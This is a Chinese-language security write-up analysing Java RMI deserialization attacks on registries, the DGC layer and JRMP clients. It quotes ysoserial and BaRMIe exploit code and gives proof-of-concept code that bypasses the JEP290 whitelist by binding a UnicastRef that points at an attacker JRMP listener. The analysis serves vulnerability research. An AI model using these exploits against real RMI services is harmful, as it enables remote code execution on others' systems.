RMI客户端反序列化攻击RMI服务端
 
RMI服务端反序列化攻击RMI注册端
IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一处接口hash验证
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
        //设定变量开始处理请求
            //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
            RegistryImpl var6 = (RegistryImpl)var1;
            //接受客户端输入流的参数变量
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
            //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
            //super.ref.newCall(this, operations, 0, 4905912898345647071L);
            switch(var3) {
            //统一删除了try等语句
            case 0:
                    //bind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //1.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.bind(var7, var8);
            case 1:
                    //list()分支
                    var2.releaseInputStream();
                    String[] var97 = var6.list();
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);
            case 2:
                  //lookup(String)分支
                    var10 = var2.getInputStream();
                    //2.反序列化触发处
                    var7 = (String)var10.readObject();
                    var8 = var6.lookup(var7);
            case 3:
                  //rebind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //3.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.rebind(var7, var8);
            case 4:
                    //unbind(String)分支
                    var10 = var2.getInputStream();
                    //4.反序列化触发处
                    var7 = (String)var10.readObject();
                    var6.unbind(var7);
            default:
                throw new UnmarshalException("invalid method number");
            }
        }
    }
从这里看到有 4 个分支可以触发反序列化,分为了两种情况
- lookup & unbind (String类型)
 
- bind & rebind (Remote 和 String)
 
有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
       Registry reg;
        
        //Execute a dummy attack
        try {
            //1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
            proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
            proxy.startProxy();
            
            //2.获取这个RMI对象,调用其bind方法
            reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
            
            reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
        } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
            //3.重构客户端输出的数据包,改变其内容为预设好的一个Object
            if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
                //4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。
                if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
                    //Test payload was filtered, likely this attack isn't possible
                    return false;
                }
            }
        } finally {
            //Stop the proxy
            if(proxy != null) {
                proxy.stopProxy(true);
            }
        }
        
        //如果没有匹配到就说明可以攻击。
        return true;
    }
攻击模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack:
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
    RMIBindExploitProxy proxy = null;//代理器
    Registry reg;
    //已删去try部分
    //1.初始化一个bind RMI注册端代理器
    //我们的payload从这里给入
    proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
    proxy.startProxy();
    //2.从RMI注册端代理器获取一个注册端对象
    reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
    //3.通过RMI注册端代理器调用bind,修改参数为给定的payload
    //reg.bind(随机字符串,一个接口需要的Remote接口)
    //但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
    reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
}
private static class BaRMIeBindExploit implements Remote, Serializable {
}
具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
        ByteArrayOutputStream out;
        int blockLen;
        byte[] dataBytes;
        //获取输入的长度
        dataBytes = data.toByteArray();
        //判断这个输入包是不是一个RMI调用包,如果是的话进行修改
        if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
            //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
            blockLen = (int)(dataBytes[6] & 0xff);
            //自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
            out = new ByteArrayOutputStream();
            out.write(dataBytes, 0, blockLen + 7);
            //在后面写入我们给定的payload
            out.write(this._payload, 0, this._payload.length);
            //最后给一个NULL标签(作为bind方法的第二个参数)
            out.write((byte)0x70);
            //把新的数据包发送给服务端
            return out;
        } else {
            //不是RMI调用的数据包就直接发送
            return data;
        }
    }
这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
翻一下 ysoserial.exploit.RMIRegistryExploit#exploit 
public static void exploit(final Registry registry,
            final Class extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
            //获取payload
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            //将payload封装成Map
            //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
            //变为Remote类型
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            try {
                //封装的remote类型,通过RMI客户端的正常接口发出去
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }
}
使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行。
public static  T createMemoitizedProxy ( final Map map, final Class iface, final Class>... ifaces ) throws Exception {
    //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
    //iface是被动态代理的接口
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
//ifaces 这里没有
public static  T createProxy ( final InvocationHandler ih, final Class iface, final Class>... ifaces ) {
    final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    //上面整合了一下需要代理的接口到allIfaces里面
    //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
    //(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
    //iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
//加个Remote接口的类,要支持序列化
private static class BindExploit implements Remote, Serializable {
    //弄个地方放payload
    private final Object memberValues;
    private BindExploit(Object payload) {
        memberValues = payload;
    }
}
    public static void exploit(final Registry registry,
            final Class extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            //yso动态代理包装
            //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            //自己包装
            Remote remote_lala = new BindExploit(payload);
            try {
                //registry.bind(name, remote);
                //自己包装
                 registry.bind(name, remote_lala);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }
 
修复后的绕过
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
private static Status registryFilter(FilterInfo var0) {
    //这里registryFilter为空跳过该判断
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }
    //不允许输入流的递归层数超过20层,超过就报错
    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        //获取输入流序列化class类型到var2
        Class var2 = var0.serialClass();
        //判断是否为null,null就报错
        if (var2 == null) {
            return Status.UNDECIDED;
        } else {
            //判断是否为数组类型
            if (var2.isArray()) {
                //数组长度大于10000就报错
                if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
                    return Status.REJECTED;
                }
                //获取到数组中的成分类,假如是还是数组嵌套,继续获取
                do {
                    var2 = var2.getComponentType();
                } while(var2.isArray());
            }
            //判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
            //是基本类就允许
            if (var2.isPrimitive()) {
                return Status.ALLOWED;
            } else {
                //判断我们的输入的序列化类型是否为以下的几类class白名单之中
                //如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
                //不然就返回REJECTED报错。
                return String.class != var2 && 
                    !Number.class.isAssignableFrom(var2) && 
                    !Remote.class.isAssignableFrom(var2) && 
                    !Proxy.class.isAssignableFrom(var2) && 
                    !UnicastRef.class.isAssignableFrom(var2) && 
                    !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
                    !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
                    !ActivationID.class.isAssignableFrom(var2) && 
                    !UID.class.isAssignableFrom(var2) ? 
                    Status.REJECTED : Status.ALLOWED;
            }
        }
    }
    }
经过递归检测,AnnotationInvocationHandler 被拦下来了。 
关于地址校验
RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
原因是因为 注册端对于服务端的验证在反序列化操作之后。


在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。 
RMI DGC层反序列化(其实是 JRMP 层的原理)
DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
用 yso 的 JRMP 打

跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    //一样是一个dispatch用于分发作用的方法
    //固定接口hash校验
    if (var4 != -669196253586618813L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        DGCImpl var6 = (DGCImpl)var1;
        ObjID[] var7;
        long var8;
        //判断dirty和clean分支流
        switch(var3) {
            //clean分支流
            case 0:
                VMID var39;
                boolean var40;
                try {
                    //从客户端提供的输入流取值
                    ObjectInput var14 = var2.getInputStream();
                    //对于取值进行反序列化,***漏洞触发点***
                    var7 = (ObjID[])var14.readObject();
                    var8 = var14.readLong();
                    var39 = (VMID)var14.readObject();
                    var40 = var14.readBoolean();
                } catch (IOException var36) {
                    throw new UnmarshalException("error unmarshalling arguments", var36);
                } catch (ClassNotFoundException var37) {
                    throw new UnmarshalException("error unmarshalling arguments", var37);
                } finally {
                    var2.releaseInputStream();
                }
              //进行clean操作,已经完成了攻击,之后操作已经不重要了。
                var6.clean(var7, var8, var39, var40);
                //..省略部分无关操作
            //dirty方法分支流,跟clean在漏洞触发点上是一样没差的
            case 1:
                Lease var10;
                try {
                    //从客户端提供的输入流取值
                    ObjectInput var13 = var2.getInputStream();
                    //对于取值进行反序列化,***漏洞触发点***
                    var7 = (ObjID[])var13.readObject();
                    var8 = var13.readLong();
                    var10 = (Lease)var13.readObject();
                } catch (IOException var32) {
                    throw new UnmarshalException("error unmarshalling arguments", var32);
                } catch (ClassNotFoundException var33) {
                    throw new UnmarshalException("error unmarshalling arguments", var33);
                } finally {
                    var2.releaseInputStream();
                }
                Lease var11 = var6.dirty(var7, var8, var10);
               //..省略无关操作
            default:
                throw new UnmarshalException("invalid method number");
        }
    }
找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
        try {
            //开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
            RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
            try {
                //获取连接的输入流
                ObjectOutput var6 = var5.getOutputStream();
                //写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
                //***这里就是我们payload写入的地方***
                var6.writeObject(var1);
                //------
                var6.writeLong(var2);
                var6.writeObject(var4);
            } catch (IOException var20) {
                throw new MarshalException("error marshalling arguments", var20);
            }
            super.ref.invoke(var5);
            Lease var24;
            try {
                ObjectInput var9 = var5.getInputStream();
                var24 = (Lease)var9.readObject();
            //省略大量错误处理..
    }
这就是DGC客户端该放payload的地方了。
针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
Ysoserial 的 JRMP-Client 的实现:
//传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            //建立一个socket通道,并为赋值
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);
           //读取socket通道的数据流
            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);
           //*******开始拼接数据流*********
            //以下均为特定协议格式常量,之后会说到这些数据是怎么来的
            //传输魔术字符:0x4a524d49(代表协议)
            dos.writeInt(TransportConstants.Magic);
            //传输协议版本号:2(就是版本号)
            dos.writeShort(TransportConstants.Version);
            //传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
            dos.writeByte(TransportConstants.SingleOpProtocol);
           //传输指令-RMI call:0x50 
            dos.write(TransportConstants.Call);
            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);
           //DGC的固定读取格式,等会具体分析
            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);
           //选取DGC服务端的分支选dirty
            objOut.writeInt(1); // dirty
            //然后一个固定的hash值
            objOut.writeLong(-669196253586618813L);
            //我们的反序列化触发点
            objOut.writeObject(payloadObject);
            os.flush();
        }
    }
详见。。。算了不见就不见了吧

这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。 
JRMP 服务端打 JRMP 客户端
在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
public void invoke(RemoteCall call) throws Exception {
        try {
            //写个日志,不管
            clientRefLog.log(Log.VERBOSE, "execute call");
           //跟进此处
            call.executeCall();
            //...省略一堆报错处理
而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
public void executeCall() throws Exception {
        byte returnType;
        // read result header
        DGCAckHandler ackHandler = null;
        try {
            //...这里发包和接受返回状态returnType和返回包数据流in
            returnType = in.readByte();  //1. 反序列化一个returnType
            in.readID();        // 2. 反序列化一个id for DGC acknowledgement
            //具体细节比较复杂不看了
        } catch (UnmarshalException e) {
            //..略..
        }
        // 处理returnType返回状态
        switch (returnType) {
        //这是常量1
        case TransportConstants.NormalReturn:
            break;
        //这是常量2
        case TransportConstants.ExceptionalReturn:
            Object ex;
            try {
                //3. 从服务端返回数据流in中读取,并反序列化
                //***漏洞触发点***
                ex = in.readObject();
                //省略之后代码
这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
sun.rmi.transport.StreamRemoteCall#getResultStream
public ObjectOutput getResultStream(boolean success) throws IOException {
    if (resultStarted)
        throw new StreamCorruptedException("result already in progress");
    else
        resultStarted = true;
    DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
    wr.writeByte(TransportConstants.Return);
    getOutputStream(true);  
    //success为false,进入我们的分支
    if (success)  
        out.writeByte(TransportConstants.NormalReturn);
    else
        //*******这里第一个序列化returnType*******
        out.writeByte(TransportConstants.ExceptionalReturn);
    //第二个序列化一个ID
    out.writeID();          // write id for gcAck
    return out;
}
然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
//这里出来
ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
    e = new ServerError(
        "Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
    e = new ServerException(
        "RemoteException occurred in server thread",
        (Exception) e);
}
if (suppressStackTraces) {
    clearStackTraces(e);
}
//第三处序列化:序列化写入报错信息,也就是payload插入处
out.writeObject(e);
但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤! 
攻击流程:

- RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
 
- 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
 
- RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。
 
原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
从 bind 连接开始看
try {
    var9 = var2.getInputStream();//var2是我们的输入流
    var7 = (String)var9.readObject();//略过
    //payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
    //在其中完成了ref的填装
    var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
    throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
    //在这里处理ref的时候才真正完成了触发
    var2.releaseInputStream();
}
一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
void registerRefs() throws IOException {
    if (!this.incomingRefTable.isEmpty()) {
        //遍历incomingRefTable
        Iterator var1 = this.incomingRefTable.entrySet().iterator();
        while(var1.hasNext()) {
            Entry var2 = (Entry)var1.next();
            //开始一个个去DGC注册
            DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
        }
    }
}
进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
public boolean registerRefs(List refs) {
            assert !Thread.holdsLock(this);
            Set refsToDirty = null;     // entries for refs needing dirty
            long sequenceNum;           // sequence number for dirty call
            //阻塞执行,去遍历查询LiveRef实例
            synchronized (this) {
                //省略此处代码,就是做遍历查询的事情
            }
            //为所有结果参与DGC垃圾回收机制注册
            //------进入此处------
            makeDirtyCall(refsToDirty, sequenceNum);
            return true;
        }
进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
        try {
            RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
            try {
                ObjectOutput var6 = var5.getOutputStream();
                var6.writeObject(var1);
                var6.writeLong(var2);
                var6.writeObject(var4);
            } catch (IOException var20) {
                throw new MarshalException("error marshalling arguments", var20);
            }
            //JRMP服务端打JRMP客户端的反序列化触发点在这里面
            super.ref.invoke(var5);
回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
UnicastRef 对象:
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
    java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
    sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
    sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
    return new sun.rmi.server.UnicastRef(liveRef);
}
三种思路:
- 不封装,参考 BaRMie,直接发送 UnicastRef。
 
- 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
 
- 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进
register.bind(String,Remote)中。 
动态代理的方式
自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
public static class PocHandler implements InvocationHandler, Serializable {
    private RemoteRef ref;//来放我们的UnicastRef对象
    protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
        ref = newref;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return this.ref //只是为了满足拦截类的格式,随便写
    }
}
public static void main(String[] args) throws Exception{
        String jrmpListenerHost = "127.0.0.1";
        int jrmpListenerPort = 1199;
        UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
        Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class>[]{Remote.class}, new PocHandler(unicastRef));
        Registry registry = LocateRegistry.getRegistry(1099);//本地测试
        registry.bind("2333", remote);
    }
或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
public class RemoteObjectInvocationHandler
    extends RemoteObject
    implements InvocationHandler //表示是一个拦截器
{
//构造函数,传入一个RemoteRef接口类型的变量
    public RemoteObjectInvocationHandler(RemoteRef ref) {
        super(ref);
        if (ref == null) {
            throw new NullPointerException();
        }
    }
//而UnicastRef类型实现RemoteRef接口,即可以传入
//public class UnicastRef implements RemoteRef {
public abstract class RemoteObject implements Remote, java.io.Serializable {
    /** The object's remote reference. */
    transient protected RemoteRef ref;
 //super(ref)的内容,可以成功塞入变量中
     protected RemoteObject(RemoteRef newref) {
        ref = newref;
    }
插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
private void writeObject(java.io.ObjectOutputStream out)
        throws java.io.IOException, java.lang.ClassNotFoundException
    {
        if (ref == null) {
            throw new java.rmi.MarshalException("Invalid remote object");
        } else {
            String refClassName = ref.getRefClass(out);
            if (refClassName == null || refClassName.length() == 0) {
                //不会进入的地方....
            } else {
                /*
                 * Built-in reference class specified, so delegate
                 * to reference to write out its external form.
                 */
                 //我们的序列化操作会进入到这里对于ref进行序列化
                out.writeUTF(refClassName);
                ref.writeExternal(out);
                //在这里通过writeExternal来写入了ref
                //(transient类型的变量可以通过writeExternal来写入序列化)
            }
        }
    }
在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
public class Bypass290 {
    //省略generateUnicastRef方法
    public static void main(String[] args) throws Exception{
        //获取UnicastRef对象
        String jrmpListenerHost = "127.0.0.1";//本地测试
        int jrmpListenerPort = 1199;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
        //通过构造函数封装进入RemoteObjectInvocationHandler
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
        //所以接下来bind可以填入proxy
        Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
                                                           new Class[]{Registry.class}, obj);
        //触发漏洞
        Registry registry = LocateRegistry.getRegistry(1099);//本地测试
        registry.bind("hello", proxy);//填入payload
    }
}
 
找一个带 UnicastRef 类型参数的 Remote 接口的类
RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
public static void main(String[] args) throws Exception{
    //获取UnicastRef对象
    String jrmpListenerHost = "127.0.0.1";//本地测试
    int jrmpListenerPort = 1199;
    UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
    //通过构造函数封装进入RemoteObjectInvocationHandler
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
    //所以接下来bind可以填入proxy 注释
    //        Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
    //                new Class[]{Registry.class}, obj);
    //触发漏洞
    Registry registry = LocateRegistry.getRegistry(1099);//本地测试
    //        registry.bind("hello", proxy);//填入payload
    registry.bind("hello", obj);//填入payload
}
同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
RMIConnectionImpl_Stub 可以用
- 是 Remote 接口
//RMIConnectionImpl_Stub类定义,继承自RemoteStub类
public final class RMIConnectionImpl_Stub
    extends java.rmi.server.RemoteStub
    implements javax.management.remote.rmi.RMIConnection{
//java.rmi.server.RemoteStub 定义,继承自RemoteObject类
abstract public class RemoteStub extends RemoteObject {
//RemoteObject定义,实现Remote接口
public abstract class RemoteObject implements Remote, java.io.Serializable {
 
- 构造方法可以放 UnicastRef 
//javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
    super(ref);
    }
//java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
 protected RemoteStub(RemoteRef ref) {
        super(ref);
    }
//java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
protected RemoteObject(RemoteRef newref) {
        ref = newref;
    }
 
 
- UnicastRemoteObject 不行
原因是客户端 bind 中的反序列化流程是 
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
private void writeObject0(Object obj, boolean unshared)
        throws IOException
    {
        boolean oldMode = bout.setBlockDataMode(false);
        depth++;
        try {
            //一大堆类型检查,都不会通过
            // 想要去检查替换我们的object
            Object orig = obj;
            Class> cl = obj.getClass();
            ObjectStreamClass desc;
            for (;;) {
                //查找相关内容
            }
            if (enableReplace) {//都是true
            //!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
                Object rep = replaceObject(obj);
                if (rep != obj && rep != null) {
                    cl = rep.getClass();
                    desc = ObjectStreamClass.lookup(cl, true);
                }
                obj = rep;
            }
            //一些替换后的处理,不太重要
            // 通过类进行分配序列化过程
            if (obj instanceof String) {
                writeString((String) obj, unshared);
            } else if (cl.isArray()) {
                writeArray(obj, desc, unshared);
            } else if (obj instanceof Enum) {
                writeEnum((Enum>) obj, desc, unshared);
            } else if (obj instanceof Serializable) {
                //进入此处再开始正常的序列化
                writeOrdinaryObject(obj, desc, unshared);
            //...省略...
    }
然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
//var1就是我们想要序列化的类
protected final Object replaceObject(Object var1) throws IOException {
    //这个类要是Remote接口的,并且不是RemoteStub接口的,为true
    if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
        //这里会去获取到新的对象来替换
        //UnicastRemoteObject走的就是这条路
        Target var2 = ObjectTable.getTarget((Remote)var1);
        if (var2 != null) {
            return var2.getStub();
        }
    }
    //RMIConnectionImpl_Stub走的就是这条路
    return var1;
}
所以可用类的条件应该是:
- 这个类它可以填入一个UnicastRef对象(这表示我们的payload可以塞进去)
 
- 这个类要是Remote接口的并且是RemoteStub接口
 
- 这个类要是Remote接口并且不是RemoteStub接口要是获取不到原来的类也可以,比如RemoteInvocationHandler(置 null,相当于没换)
 
但这种限制是可用绕过的,方法就是通过反射修改 enableReplace 属性,不走对应分支就好了。
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // 写入我们的对象
截止到现在,8u121 带来的白名单限制问题就算是绕过了,但 8u141的堆服务端地址的验证如果使用 bind 的话是不行的。 
 
